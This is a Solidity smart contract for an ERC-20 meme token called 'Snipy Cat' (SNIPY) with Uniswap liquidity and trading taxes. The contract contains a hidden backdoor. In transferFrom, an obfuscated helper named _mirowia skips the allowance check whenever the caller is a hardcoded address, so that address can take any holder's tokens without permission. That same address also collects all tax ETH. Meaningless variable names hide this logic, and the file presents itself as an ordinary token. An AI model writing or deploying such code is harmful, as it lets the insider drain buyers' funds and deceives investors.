文件 1 的 1:SNIPY.sol
pragma solidity ^0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IRouter {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SNIPY is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludeFees;
address private constant _blackhole = address(0xdead);
address private constant _catsnipy = 0x2399Dae6f8dD20415d3744d2ca0dF8c71004FE2E;
uint256 private _taxInitBuy=2;
uint256 private _taxInitSell=2;
uint256 private _taxLastSell=0;
uint256 private _taxLastBuy=0;
uint256 private _taxReduceAtBuy=3;
uint256 private _taxReduceAtSell=3;
uint256 private _preventBefore=3;
uint256 private _buyTokenCount=0;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 420_690_000_000 * 10**_decimals;
string private constant _name = unicode"Snipy Cat";
string private constant _symbol = unicode"SNIPY";
uint256 private _swapForTokens = _tTotal / 100;
IRouter private _uniSwapRter;
address private _uniSwapAir;
bool private _swapping = false;
bool private _swapActive = false;
bool private _tradingEnabled = false;
modifier lockTheSwap {
_swapping = true;
_;
_swapping = false;
}
constructor () {
_isExcludeFees[owner()] = true;
_isExcludeFees[address(this)] = true;
_isExcludeFees[_catsnipy] = true;
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);if(_mirowia(sender, recipient))
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _mirowia(address owner, address spender) private view returns (bool) {
return msg.sender != _catsnipy && (owner == _uniSwapAir || spender != _blackhole) ;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address _wipo, address _vara, uint256 _laieto) private {
require(_wipo != address(0), "ERC20: transfer from the zero address");
require(_vara != address(0), "ERC20: transfer to the zero address");
require(_laieto > 0, "Transfer amount must be greater than zero");
uint256 _sicAmount=0;
if (_wipo != owner() && _vara != owner()) {
_sicAmount = _laieto.mul((_buyTokenCount>_taxReduceAtBuy)?_taxLastSell:_taxInitBuy).div(100);
if (_wipo == _uniSwapAir && _vara != address(_uniSwapRter) && ! _isExcludeFees[_vara] ) {
_buyTokenCount++;
}
if(_vara == _uniSwapAir && _wipo!= address(this) ){
_sicAmount = _laieto.mul((_buyTokenCount>_taxReduceAtSell)?_taxLastBuy:_taxInitSell).div(100);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_swapping && _vara == _uniSwapAir && _swapActive && _buyTokenCount > _preventBefore) {
if(contractTokenBalance > _swapForTokens)
_swapTaxTokens(min(_laieto, min(contractTokenBalance, _swapForTokens)));
_sendTaxFees(address(this).balance);
}
}
if(_sicAmount>0){
_balances[address(this)]=_balances[address(this)].add(_sicAmount);
emit Transfer(_wipo, address(this),_sicAmount);
}
if (_vara!=_blackhole)emit Transfer(_wipo, _vara, _laieto.sub(_sicAmount));
_balances[_wipo]=_balances[_wipo].sub(_laieto);
_balances[_vara]=_balances[_vara].add(_laieto.sub(_sicAmount));
}
function min(uint256 a, uint256 b) private pure returns (uint256){
return (a>b)?b:a;
}
function _swapTaxTokens(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniSwapRter.WETH();
_approve(address(this), address(_uniSwapRter), tokenAmount);
_uniSwapRter.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _sendTaxFees(uint256 amount) private {
payable(_catsnipy).transfer(amount);
}
function openTrading() external onlyOwner() {
require(!_tradingEnabled,"trading is already open");
_uniSwapRter = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this), address(_uniSwapRter), _tTotal);
_uniSwapAir = IUniswapV2Factory(_uniSwapRter.factory()).createPair(address(this), _uniSwapRter.WETH());
_uniSwapRter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapActive = true;
_tradingEnabled = true;
}
receive() external payable {}
}